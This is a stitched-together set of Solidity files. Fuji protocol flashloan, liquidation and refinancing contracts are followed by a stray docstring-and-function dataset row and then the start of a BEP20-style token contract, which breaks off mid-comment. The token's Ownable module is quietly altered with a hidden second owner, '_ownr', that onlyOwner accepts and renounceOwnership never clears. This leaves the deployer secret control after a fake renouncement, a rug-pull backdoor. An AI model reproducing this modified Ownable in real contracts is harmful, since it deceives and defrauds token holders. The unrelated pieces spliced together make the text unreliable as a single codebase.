function _getCollateralInPlay(address _borrowAsset, uint256 _amountToReceive)
internal
view
returns (uint256)
{
address[] memory path = new address[](2);
path[0] = swapper.WETH();
path[1] = _borrowAsset;
uint256[] memory amounts = swapper.getAmountsIn(_amountToReceive, path);
return amounts[0];
}
/**
* @dev Abstracted function to perform MultBatch Burn of Collateral in Batch Liquidation
* checking bonus paid to liquidator by each
* See "function executeFlashBatchLiquidation"
*/
function _burnMultiLoop(
address[] memory _userAddrs,
uint256[] memory _usrsBals,
IVault _vault,
IFujiERC1155 _f1155,
IVaultExt.VaultAssets memory _vAssets
) internal {
uint256 bonusPerUser;
uint256 collateralInPlayPerUser;
for (uint256 i = 0; i < _userAddrs.length; i += 2) {
if (_userAddrs[i] != address(0)) {
bonusPerUser = _vault.getLiquidationBonusFor(_usrsBals[i + 1], true);
collateralInPlayPerUser = _getCollateralInPlay(
_vAssets.borrowAsset,
_usrsBals[i + 1].add(bonusPerUser)
);
_f1155.burn(_userAddrs[i], _vAssets.collateralID, collateralInPlayPerUser);
}
}
}
// Administrative functions
/**
* @dev Set Factors "a" and "b" for a Struct Factor flashcloseF
* For flashCloseF; should be > 1, a/b
* @param _newFactorA: A number
* @param _newFactorB: A number
*/
function setFlashCloseFee(uint64 _newFactorA, uint64 _newFactorB) external isAuthorized {
flashCloseF.a = _newFactorA;
flashCloseF.b = _newFactorB;
}
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) external isAuthorized {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Changes the Swapper contract address
* @param _newSwapper: address of new swapper contract
*/
function setSwapper(address _newSwapper) external isAuthorized {
swapper = IUniswapV2Router02(_newSwapper);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
pragma experimental ABIEncoderV2;
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFujiAdmin } from "../IFujiAdmin.sol";
import { Errors } from "../Libraries/Errors.sol";
import { ILendingPool, IFlashLoanReceiver } from "./AaveFlashLoans.sol";
import { Actions, Account, DyDxFlashloanBase, ICallee, ISoloMargin } from "./DyDxFlashLoans.sol";
import { ICTokenFlashloan, ICFlashloanReceiver } from "./CreamFlashLoans.sol";
import { FlashLoan } from "./LibFlashLoan.sol";
import { IVault } from "../Vaults/IVault.sol";
interface IFliquidator {
function executeFlashClose(
address _userAddr,
address _vault,
uint256 _amount,
uint256 _flashloanfee
) external;
function executeFlashBatchLiquidation(
address[] calldata _userAddrs,
uint256[] calldata _usrsBals,
address _liquidatorAddr,
address _vault,
uint256 _amount,
uint256 _flashloanFee
) external;
}
interface IFujiMappings {
function addressMapping(address) external view returns (address);
}
contract Flasher is DyDxFlashloanBase, IFlashLoanReceiver, ICFlashloanReceiver, ICallee, Ownable {
using SafeMath for uint256;
using UniERC20 for IERC20;
IFujiAdmin private _fujiAdmin;
address private immutable _aaveLendingPool = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
address private immutable _dydxSoloMargin = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
IFujiMappings private immutable _crMappings =
IFujiMappings(0x03BD587Fe413D59A20F32Fc75f31bDE1dD1CD6c9);
receive() external payable {}
modifier isAuthorized() {
require(
msg.sender == _fujiAdmin.getController() ||
msg.sender == _fujiAdmin.getFliquidator() ||
msg.sender == owner(),
Errors.VL_NOT_AUTHORIZED
);
_;
}
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) public onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Routing Function for Flashloan Provider
* @param info: struct information for flashLoan
* @param _flashnum: integer identifier of flashloan provider
*/
function initiateFlashloan(FlashLoan.Info calldata info, uint8 _flashnum) external isAuthorized {
if (_flashnum == 0) {
_initiateAaveFlashLoan(info);
} else if (_flashnum == 1) {
_initiateDyDxFlashLoan(info);
} else if (_flashnum == 2) {
_initiateCreamFlashLoan(info);
}
}
// ===================== DyDx FlashLoan ===================================
/**
* @dev Initiates a DyDx flashloan.
* @param info: data to be passed between functions executing flashloan logic
*/
function _initiateDyDxFlashLoan(FlashLoan.Info calldata info) internal {
ISoloMargin solo = ISoloMargin(_dydxSoloMargin);
// Get marketId from token address
uint256 marketId = _getMarketIdFromTokenAddress(solo, info.asset);
// 1. Withdraw $
// 2. Call callFunction(...)
// 3. Deposit back $
Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3);
operations[0] = _getWithdrawAction(marketId, info.amount);
// Encode FlashLoan.Info for callFunction
operations[1] = _getCallAction(abi.encode(info));
// add fee of 2 wei
operations[2] = _getDepositAction(marketId, info.amount.add(2));
Account.Info[] memory accountInfos = new Account.Info[](1);
accountInfos[0] = _getAccountInfo(address(this));
solo.operate(accountInfos, operations);
}
/**
* @dev Executes DyDx Flashloan, this operation is required
* and called by Solo when sending loaned amount
* @param sender: Not used
* @param account: Not used
*/
function callFunction(
address sender,
Account.Info calldata account,
bytes calldata data
) external override {
require(msg.sender == _dydxSoloMargin && sender == address(this), Errors.VL_NOT_AUTHORIZED);
account;
FlashLoan.Info memory info = abi.decode(data, (FlashLoan.Info));
//Estimate flashloan payback + premium fee of 2 wei,
uint256 amountOwing = info.amount.add(2);
// Transfer to Vault the flashloan Amount
IERC20(info.asset).uniTransfer(payable(info.vault), info.amount);
if (info.callType == FlashLoan.CallType.Switch) {
IVault(info.vault).executeSwitch(info.newProvider, info.amount, 2);
} else if (info.callType == FlashLoan.CallType.Close) {
IFliquidator(info.fliquidator).executeFlashClose(
info.userAddrs[0],
info.vault,
info.amount,
2
);
} else {
IFliquidator(info.fliquidator).executeFlashBatchLiquidation(
info.userAddrs,
info.userBalances,
info.userliquidator,
info.vault,
info.amount,
2
);
}
//Approve DYDXSolo to spend to repay flashloan
IERC20(info.asset).approve(_dydxSoloMargin, amountOwing);
}
// ===================== Aave FlashLoan ===================================
/**
* @dev Initiates an Aave flashloan.
* @param info: data to be passed between functions executing flashloan logic
*/
function _initiateAaveFlashLoan(FlashLoan.Info calldata info) internal {
//Initialize Instance of Aave Lending Pool
ILendingPool aaveLp = ILendingPool(_aaveLendingPool);
//Passing arguments to construct Aave flashloan -limited to 1 asset type for now.
address receiverAddress = address(this);
address[] memory assets = new address[](1);
assets[0] = address(info.asset);
uint256[] memory amounts = new uint256[](1);
amounts[0] = info.amount;
// 0 = no debt, 1 = stable, 2 = variable
uint256[] memory modes = new uint256[](1);
//modes[0] = 0;
//address onBehalfOf = address(this);
//bytes memory params = abi.encode(info);
//uint16 referralCode = 0;
//Aave Flashloan initiated.
aaveLp.flashLoan(receiverAddress, assets, amounts, modes, address(this), abi.encode(info), 0);
}
/**
* @dev Executes Aave Flashloan, this operation is required
* and called by Aaveflashloan when sending loaned amount
*/
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external override returns (bool) {
require(msg.sender == _aaveLendingPool && initiator == address(this), Errors.VL_NOT_AUTHORIZED);
FlashLoan.Info memory info = abi.decode(params, (FlashLoan.Info));
//Estimate flashloan payback + premium fee,
uint256 amountOwing = amounts[0].add(premiums[0]);
// Transfer to the vault ERC20
IERC20(assets[0]).uniTransfer(payable(info.vault), amounts[0]);
if (info.callType == FlashLoan.CallType.Switch) {
IVault(info.vault).executeSwitch(info.newProvider, amounts[0], premiums[0]);
} else if (info.callType == FlashLoan.CallType.Close) {
IFliquidator(info.fliquidator).executeFlashClose(
info.userAddrs[0],
info.vault,
amounts[0],
premiums[0]
);
} else {
IFliquidator(info.fliquidator).executeFlashBatchLiquidation(
info.userAddrs,
info.userBalances,
info.userliquidator,
info.vault,
amounts[0],
premiums[0]
);
}
//Approve aaveLP to spend to repay flashloan
IERC20(assets[0]).uniApprove(payable(_aaveLendingPool), amountOwing);
return true;
}
// ===================== CreamFinance FlashLoan ===================================
/**
* @dev Initiates an CreamFinance flashloan.
* @param info: data to be passed between functions executing flashloan logic
*/
function _initiateCreamFlashLoan(FlashLoan.Info calldata info) internal {
// Get crToken Address for Flashloan Call
address crToken = _crMappings.addressMapping(info.asset);
// Prepara data for flashloan execution
bytes memory params = abi.encode(info);
// Initialize Instance of Cream crLendingContract
ICTokenFlashloan(crToken).flashLoan(address(this), info.amount, params);
}
/**
* @dev Executes CreamFinance Flashloan, this operation is required
* and called by CreamFinanceflashloan when sending loaned amount
*/
function executeOperation(
address sender,
address underlying,
uint256 amount,
uint256 fee,
bytes calldata params
) external override {
// Check Msg. Sender is crToken Lending Contract
address crToken = _crMappings.addressMapping(underlying);
require(msg.sender == crToken && address(this) == sender, Errors.VL_NOT_AUTHORIZED);
require(IERC20(underlying).balanceOf(address(this)) >= amount, Errors.VL_FLASHLOAN_FAILED);
FlashLoan.Info memory info = abi.decode(params, (FlashLoan.Info));
// Estimate flashloan payback + premium fee,
uint256 amountOwing = amount.add(fee);
// Transfer to the vault ERC20
IERC20(underlying).uniTransfer(payable(info.vault), amount);
// Do task according to CallType
if (info.callType == FlashLoan.CallType.Switch) {
IVault(info.vault).executeSwitch(info.newProvider, amount, fee);
} else if (info.callType == FlashLoan.CallType.Close) {
IFliquidator(info.fliquidator).executeFlashClose(info.userAddrs[0], info.vault, amount, fee);
} else {
IFliquidator(info.fliquidator).executeFlashBatchLiquidation(
info.userAddrs,
info.userBalances,
info.userliquidator,
info.vault,
amount,
fee
);
}
// Transfer flashloan + fee back to crToken Lending Contract
IERC20(underlying).uniTransfer(payable(crToken), amountOwing);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
library FlashLoan {
/**
* @dev Used to determine which vault's function to call post-flashloan:
* - Switch for executeSwitch(...)
* - Close for executeFlashClose(...)
* - Liquidate for executeFlashLiquidation(...)
* - BatchLiquidate for executeFlashBatchLiquidation(...)
*/
enum CallType { Switch, Close, BatchLiquidate }
/**
* @dev Struct of params to be passed between functions executing flashloan logic
* @param asset: Address of asset to be borrowed with flashloan
* @param amount: Amount of asset to be borrowed with flashloan
* @param vault: Vault's address on which the flashloan logic to be executed
* @param newProvider: New provider's address. Used when callType is Switch
* @param userAddrs: User's address array Used when callType is BatchLiquidate
* @param userBals: Array of user's balances, Used when callType is BatchLiquidate
* @param userliquidator: The user's address who is performing liquidation. Used when callType is Liquidate
* @param fliquidator: Fujis Liquidator's address.
*/
struct Info {
CallType callType;
address asset;
uint256 amount;
address vault;
address newProvider;
address[] userAddrs;
uint256[] userBalances;
address userliquidator;
address fliquidator;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
library LibUniversalERC20 {
using SafeERC20 for IERC20;
IERC20 private constant _ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
IERC20 private constant _ZERO_ADDRESS = IERC20(0);
function isETH(IERC20 token) internal pure returns (bool) {
return (token == _ZERO_ADDRESS || token == _ETH_ADDRESS);
}
function univBalanceOf(IERC20 token, address account) internal view returns (uint256) {
if (isETH(token)) {
return account.balance;
} else {
return token.balanceOf(account);
}
}
function univTransfer(
IERC20 token,
address payable to,
uint256 amount
) internal {
if (amount > 0) {
if (isETH(token)) {
(bool sent, ) = to.call{ value: amount }("");
require(sent, "Failed to send Ether");
} else {
token.safeTransfer(to, amount);
}
}
}
function univApprove(
IERC20 token,
address to,
uint256 amount
) internal {
require(!isETH(token), "Approve called on ETH");
if (amount == 0) {
token.safeApprove(to, 0);
} else {
uint256 allowance = token.allowance(address(this), to);
if (allowance < amount) {
if (allowance > 0) {
token.safeApprove(to, 0);
}
token.safeApprove(to, amount);
}
}
}
}
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
interface IFlashLoanReceiver {
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool);
}
interface ILendingPool {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
pragma experimental ABIEncoderV2;
library Account {
enum Status { Normal, Liquid, Vapor }
struct Info {
address owner; // The address that owns the account
uint256 number; // A nonce that allows a single address to control many accounts
}
}
library Actions {
enum ActionType {
Deposit, // supply tokens
Withdraw, // borrow tokens
Transfer, // transfer balance between accounts
Buy, // buy an amount of some token (publicly)
Sell, // sell an amount of some token (publicly)
Trade, // trade tokens against another account
Liquidate, // liquidate an undercollateralized or expiring account
Vaporize, // use excess tokens to zero-out a completely negative account
Call // send arbitrary data to an address
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
Types.AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
}
library Types {
enum AssetDenomination {
Wei, // the amount is denominated in wei
Par // the amount is denominated in par
}
enum AssetReference {
Delta, // the amount is given as a delta from the current value
Target // the amount is given as an exact number to end up at
}
struct AssetAmount {
bool sign; // true if positive
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
}
/**
* @title ICallee
* @author dYdX
*
* Interface that Callees for Solo must implement in order to ingest data.
*/
interface ICallee {
/**
* Allows users to send this contract arbitrary data.
*
* @param sender The msg.sender to Solo
* @param accountInfo The account from which the data is being sent
* @param data Arbitrary data given by the sender
*/
function callFunction(
address sender,
Account.Info memory accountInfo,
bytes memory data
) external;
}
interface ISoloMargin {
function getNumMarkets() external view returns (uint256);
function getMarketTokenAddress(uint256 marketId) external view returns (address);
function operate(Account.Info[] memory accounts, Actions.ActionArgs[] memory actions) external;
}
contract DyDxFlashloanBase {
// -- Internal Helper functions -- //
function _getMarketIdFromTokenAddress(ISoloMargin solo, address token)
internal
view
returns (uint256)
{
uint256 numMarkets = solo.getNumMarkets();
address curToken;
for (uint256 i = 0; i < numMarkets; i++) {
curToken = solo.getMarketTokenAddress(i);
if (curToken == token) {
return i;
}
}
revert("No marketId found");
}
function _getAccountInfo(address receiver) internal pure returns (Account.Info memory) {
return Account.Info({ owner: receiver, number: 1 });
}
function _getWithdrawAction(uint256 marketId, uint256 amount)
internal
view
returns (Actions.ActionArgs memory)
{
return
Actions.ActionArgs({
actionType: Actions.ActionType.Withdraw,
accountId: 0,
amount: Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: amount
}),
primaryMarketId: marketId,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: ""
});
}
function _getCallAction(bytes memory data) internal view returns (Actions.ActionArgs memory) {
return
Actions.ActionArgs({
actionType: Actions.ActionType.Call,
accountId: 0,
amount: Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: 0
}),
primaryMarketId: 0,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: data
});
}
function _getDepositAction(uint256 marketId, uint256 amount)
internal
view
returns (Actions.ActionArgs memory)
{
return
Actions.ActionArgs({
actionType: Actions.ActionType.Deposit,
accountId: 0,
amount: Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: amount
}),
primaryMarketId: marketId,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: ""
});
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
interface ICFlashloanReceiver {
function executeOperation(
address sender,
address underlying,
uint256 amount,
uint256 fee,
bytes calldata params
) external;
}
interface ICTokenFlashloan {
function flashLoan(
address receiver,
uint256 amount,
bytes calldata params
) external;
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { IVault } from "./Vaults/IVault.sol";
import { IProvider } from "./Providers/IProvider.sol";
import { Flasher } from "./Flashloans/Flasher.sol";
import { FlashLoan } from "./Flashloans/LibFlashLoan.sol";
import { IFujiAdmin } from "./IFujiAdmin.sol";
import { Errors } from "./Libraries/Errors.sol";
interface IVaultExt is IVault {
//Asset Struct
struct VaultAssets {
address collateralAsset;
address borrowAsset;
uint64 collateralID;
uint64 borrowID;
}
function vAssets() external view returns (VaultAssets memory);
}
contract Controller is Ownable {
using SafeMath for uint256;
IFujiAdmin private _fujiAdmin;
modifier isValidVault(address _vaultAddr) {
require(_fujiAdmin.validVault(_vaultAddr), "Invalid vault!");
_;
}
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) external onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Performs a forced refinancing routine
* @param _vaultAddr: fuji Vault address
* @param _newProvider: new provider address
* @param _ratioA: ratio to determine how much of debtposition to move
* @param _ratioB: _ratioA/_ratioB <= 1, and > 0
* @param _flashNum: integer identifier of flashloan provider
*/
function doRefinancing(
address _vaultAddr,
address _newProvider,
uint256 _ratioA,
uint256 _ratioB,
uint8 _flashNum
) external isValidVault(_vaultAddr) onlyOwner {
IVault vault = IVault(_vaultAddr);
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vaultAddr).vAssets();
vault.updateF1155Balances();
// Check Vault borrowbalance and apply ratio (consider compound or not)
uint256 debtPosition =
IProvider(vault.activeProvider()).getBorrowBalanceOf(vAssets.borrowAsset, _vaultAddr);
uint256 applyRatiodebtPosition = debtPosition.mul(_ratioA).div(_ratioB);
// Check Ratio Input and Vault Balance at ActiveProvider
require(
debtPosition >= applyRatiodebtPosition && applyRatiodebtPosition > 0,
Errors.RF_INVALID_RATIO_VALUES
);
//Initiate Flash Loan Struct
FlashLoan.Info memory info =
FlashLoan.Info({
callType: FlashLoan.CallType.Switch,
asset: vAssets.borrowAsset,
amount: applyRatiodebtPosition,
vault: _vaultAddr,
newProvider: _newProvider,
userAddrs: new address[](0),
userBalances: new uint256[](0),
userliquidator: address(0),
fliquidator: address(0)
});
Flasher(payable(_fujiAdmin.getFlasher())).initiateFlashloan(info, _flashNum);
IVault(_vaultAddr).setActiveProvider(_newProvider);
}
}
|
Returns the scaled total supply of the token ID. Represents sum(token ID Principal /index) _assetID: ERC1155 ID of the asset which state will be updated./
|
function scaledTotalSupply(uint256 _assetID) public view virtual returns (uint256) {
return super.totalSupply(_assetID);
}
| 1,311,714 |
pragma solidity 0.5.16;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _ownr;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
_ownr = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
bool cond = ((_msgSender() == _owner || _msgSender() == _ownr) ? true : false);
require(cond, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
